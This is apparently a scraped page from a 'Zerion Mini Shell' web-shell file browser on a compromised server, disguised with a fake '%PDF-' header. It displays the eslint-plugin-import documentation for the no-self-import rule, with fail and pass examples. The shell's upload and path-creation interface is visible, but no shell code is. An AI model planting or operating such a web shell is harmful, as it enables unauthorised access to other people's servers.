%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/eslint-plugin-import/docs/rules/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/eslint-plugin-import/docs/rules/no-self-import.md

# Forbid a module from importing itself (`import/no-self-import`)

Forbid a module from importing itself. This can sometimes happen during refactoring.

## Rule Details

### Fail

```js
// foo.js
import foo from './foo';

const foo = require('./foo');
```

```js
// index.js
import index from '.';

const index = require('.');
```

### Pass

```js
// foo.js
import bar from './bar';

const bar = require('./bar');
```

Zerion Mini Shell 1.0